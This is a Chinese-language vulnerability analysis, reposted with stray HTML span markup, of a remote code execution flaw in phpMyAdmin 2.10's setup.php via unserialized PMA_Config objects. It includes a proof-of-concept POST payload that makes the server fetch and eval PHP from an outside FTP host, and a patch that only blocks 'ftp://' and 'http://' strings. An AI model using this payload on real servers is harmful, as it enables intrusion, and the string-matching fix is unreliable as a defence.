目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 对这个漏洞简单的概括如下 1 . " /scripts/setup.php " 会接收用户发送的序列化POST数据action =lay_navigationeoltype=unixtoken=ec4c4c184a
目录
<span>1</span><span>. 漏洞描述 </span><span>2</span><span>. 漏洞触发条件 </span><span>3</span><span>. 漏洞影响范围 </span><span>4</span><span>. 漏洞代码分析 </span><span>5</span><span>. 防御方法 </span><span>6</span>. 攻防思考
1. 漏洞描述
对这个漏洞简单的概括如下
<span>1</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span><span>会接收用户发送的序列化POST数据
action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D
</span><span>/*</span><span>
token要动态获取
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
</span><span>*/</span>
<span>2</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span>会对<span>"</span><span>$_POST['configuration']</span><span>"</span><span>进行反序列化
setup.php在反序列化的时候,程序未对输入的原始数据进行有效地恶意检测
</span><span>3</span>. 黑客可以在POST数据中注入<span>"</span><span>序列化后的PMA_Config对象</span><span>"</span><span>
setup.php在反序列化一个</span><span>"</span><span>序列化后的PMA_Config对象</span><span>"</span>的时候,会对这个对象进行<span>"</span><span>重新初始化</span><span>"</span><span>,即再次调用它的构造函数
function __construct($source </span>= <span>null</span><span>)
{
$</span><span>this</span>->settings =<span> array();
</span><span>//</span><span> functions need to refresh in case of config file changed goes in
</span><span>//</span><span> PMA_Config::load()</span>
$<span>this</span>-><span>load($source);
</span><span>//</span><span> other settings, independant from config file, comes in</span>
$<span>this</span>-><span>checkSystem();
$</span><span>this</span>-><span>checkIsHttps();
}
</span><span>4</span>. PMA_Config对象的构造函数会重新引入<span>"</span><span>$source</span><span>"</span>对应的配置文件,这个"$source"是对象重新初始化时本次注册得到的,使用eval执行的方式将配置文件中的变量<span>"</span><span>本地变量注册化</span><span>"</span><span>
function load($source </span>= <span>null</span><span>)
{
$</span><span>this</span>-><span>loadDefaults();
</span><span>if</span> (<span>null</span> !==<span> $source) {
$</span><span>this</span>-><span>setSource($source);
}
</span><span>if</span> (! $<span>this</span>-><span>checkConfigSource()) {
</span><span>return</span> <span>false</span><span>;
}
$cfg </span>=<span> array();
</span><span>/*</span><span>*
* Parses the configuration file
</span><span>*/</span><span>
$old_error_reporting </span>= error_reporting(<span>0</span><span>);
</span><span>//</span><span>使用eval方式引入外部的配置文件</span>
<span>if</span> (function_exists(<span>'</span><span>file_get_contents</span><span>'</span><span>))
{
$eval_result </span>= eval(<span>'</span><span>?></span><span>'</span> . trim(file_get_contents($<span>this</span>-><span>getSource())));
}
</span><span>else</span><span>
{
$eval_result </span>=<span>
eval(</span><span>'</span><span>?></span><span>'</span> . trim(implode(<span>"</span><span>\n</span><span>"</span>, file($<span>this</span>-><span>getSource()))));
}
error_reporting($old_error_reporting);
</span><span>if</span> ($eval_result === <span>false</span><span>) {
$</span><span>this</span>->error_config_file = <span>true</span><span>;
} </span><span>else</span><span> {
$</span><span>this</span>->error_config_file = <span>false</span><span>;
$</span><span>this</span>->source_mtime = filemtime($<span>this</span>-><span>getSource());
}
...</span>最终的结果是,程序代码引入了黑客注入的外部文件的PHP代码,并使用eval进行了执行,导致RCE
立即学习“PHP免费学习笔记(深入)”;
Relevant Link:
http:<span>//</span><span>php.net/manual/zh/function.unserialize.php</span> http:<span>//</span><span>drops.wooyun.org/papers/596</span> http:<span>//</span><span>drops.wooyun.org/tips/3909</span> http:<span>//</span><span>blog.csdn.net/cnbird2008/article/details/7491216</span>
2. 漏洞触发条件
0x1: POC
token需要动态获取
<span>1</span><span>. POST
http:</span><span>//</span><span>localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php</span>
<span>2</span><span>. DATA
action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D
</span><span>/*</span><span>
source要是一个外部的文本文件,需要返回的是原生的PHP代码
a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
</span><span>*/</span>
3. 漏洞影响范围
<span>1</span>. phpmyadmin <span>2.10</span> <span>2</span>. <= phpmyadmin <span>2.10</span>
4. 漏洞代码分析
0x1: PHP serialize && unserialize
关于PHP序列化、反序列化存在的安全问题相关知识,请参阅另一篇文章
http:<span>//</span><span>www.cnblogs.com/LittleHann/p/4242535.html</span>
0x2: "/scripts/setup.php"
<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> )
{
</span><span>//</span><span> Grab previous configuration, if it should not be cleared</span>
$configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]);
}
</span><span>else</span><span>
{
</span><span>//</span><span> Start with empty configuration</span>
$configuration =<span> array();
}</span>漏洞的根源在于程序信任了用户发送的外部数据,直接进行本地序列化,从而导致"对象注入",黑客通过注入当前已经存在于代码空间的PMA_Config对象,php在反序列化的时候,会自动调用对象的__wakeup函数,在__wakeup函数中,会使用外部传入的$source参数,作为配置文件的来源,然后使用eval将其引入到本地代码空间
0x3: \libraries\Config.class.php
<span>/*</span><span>*
* re-init object after loading from session file
* checks config file for changes and relaods if neccessary
</span><span>*/</span><span>
function __wakeup()
{
</span><span>//</span><span>在执行__wakeup()的时候,$source已经被注册为了外部传入的$source参数</span>
<span>if</span> (! $<span>this</span>-><span>checkConfigSource()
</span>|| $<span>this</span>->source_mtime !== filemtime($<span>this</span>-><span>getSource())
</span>|| $<span>this</span>->default_source_mtime !== filemtime($<span>this</span>-><span>default_source)
</span>|| $<span>this</span>-><span>error_config_file
</span>|| $<span>this</span>-><span>error_config_default_file) {
$</span><span>this</span>->settings =<span> array();
$</span><span>this</span>-><span>load();
$</span><span>this</span>-><span>checkSystem();
}
</span><span>//</span><span> check for https needs to be done everytime,
</span><span>//</span><span> as https and http uses same session so this info can not be stored
</span><span>//</span><span> in session</span>
$<span>this</span>-><span>checkIsHttps();
$</span><span>this</span>-><span>checkCollationConnection();
$</span><span>this</span>-><span>checkFontsize();
}</span>
5. 防御方法
0x1: Apply Patch
<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> )
{
$configuration </span>=<span> array();
</span><span>//</span><span>协议的匹配忽略大小写</span>
<span>if</span> ( (strpos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>PMA_Config</span><span>"</span>) !== <span>false</span>) && ( (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>ftp://</span><span>"</span>) !== <span>false</span>) || (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>http://</span><span>"</span>) !== <span>false</span><span>) ) )
{
$configuration </span>=<span> array();
}
</span><span>else</span><span>
{
</span><span>//</span><span> Grab previous configuration, if it should not be cleared</span>
$configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]);
}
}
</span><span>else</span><span>
{
</span><span>//</span><span> Start with empty configuration</span>
$configuration =<span> array();
}</span>
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号